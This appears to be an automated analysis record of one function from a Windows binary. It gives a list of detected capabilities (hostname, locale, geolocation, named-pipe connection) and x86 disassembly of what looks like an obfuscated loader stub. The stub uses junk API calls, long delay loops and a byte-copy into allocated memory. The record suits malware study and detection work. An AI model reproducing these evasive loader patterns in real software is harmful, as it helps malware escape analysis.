Function at 0x409e80
Capabilities:
Connect pipe
Get common file path
Get geographical location
Get hostname
Identify system language via api
Set current directory

Disassembly:
sub esp, 0x944
mov eax, dword [0x452004]
xor eax, esp
mov dword [esp + 0x940], eax
mov edx, dword [0x2b78e24]
push ebp
push esi
xor ebp, ebp
push edi
cmp edx, 0x7c
jne 0x409f23
push ebp
push ebp
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push ebp
lea ecx, [esp + 0x150]
push ecx
push ebp
push str.sileyigocohijovifesusutil
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x2b78e24], 0x2d
jne 0x409efe
push ebp
lea edx, [esp + 0x10]
push edx
mov dword [esp + 0x14], ebp
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
call fcn.00401267
add esp, 4
lea eax, [esp + 0x10]
push eax
call section..text
mov edx, dword [0x2b78e24]
mov ecx, dword [0x453cf0]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x8450db
jne 0x409f40
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x409f54
mov dword [0x454a00], edi
mov dword [0x454a04], esi
inc eax
cmp eax, 0xb9fa618
jl 0x409f33
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2b78e24], edx
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x562d05
jne 0x409f84
mov ecx, dword [0x453ce4]
mov dword [0x2b78e28], ecx
cmp edx, 0x3c
jne 0x409f92
push ebp
call edi
mov edx, dword [0x2b78e24]
inc esi
cmp esi, 0x5f6c74
jl 0x409f70
cmp edx, 0x110a
jne 0x40a01b
push ebp
mov dword [0x2b78cf0], ebp
mov dword [0x2b78cf4], ebp
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_LockFile]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebp
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea edx, [esp + 0x10]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebp
push ebp
call fcn.004010ee
push str.0__s__d__f
call fcn.0040123f
push ebp
call fcn.0040112e
push ebp
call fcn.0040112e
push 0x450fc8
push 0x454978
call fcn.0040106a
add esp, 0x1c
push ebp
call fcn.00401500
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x2b78e24]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b78b4c], eax
cmp dword [0x2b78e24], ebp
jbe 0x40a08e
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x40a050
mov ecx, dword [0x2b78e28]
mov dword [esp + 0xc], ecx
mov eax, 0xa231
add dword [esp + 0xc], eax
mov edx, dword [esp + 0xc]
mov al, byte [edx + esi]
mov ecx, dword [0x2b78b4c]
mov byte [ecx + esi], al
cmp dword [0x2b78e24], 0x5ab
jne 0x40a085
push ebp
push ebp
push ebp
push ebp
call edi
inc esi
cmp esi, dword [0x2b78e24]
jb 0x40a050
push ebx
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00409b70
call fcn.00409d90
add dword [0x2b78b4c], 0
mov ebx, dword [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
lea ebx, [ebx]
push ebp
push ebp
push ebp
call edi
cmp esi, 0x1a01e
jle 0x40a0d5
cmp ebx, 0xf5bed7
jne 0x40a0de
inc esi
cmp esi, 0x1ece7a52
jl 0x40a0c0
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov esi, dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov edi, dword [sym.imp.KERNEL32.dll_HeapLock]
mov dword [esp + 0x10], 0x1519a5
mov ebp, 0x8e46a6f0
lea ecx, [ecx]
cmp dword [0x2b78e24], 0xcc1
jne 0x40a10e
call ebx
cmp dword [0x2b78e24], 0x3dc
mov dword [0x2b78cec], ebp
jne 0x40a12e
push 0
push 0
push 0
push 0
call esi
push 0
call edi
dec dword [esp + 0x10]
jne 0x40a100
mov ecx, dword [esp + 0x950]
pop ebx
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0040105b
add esp, 0x944
ret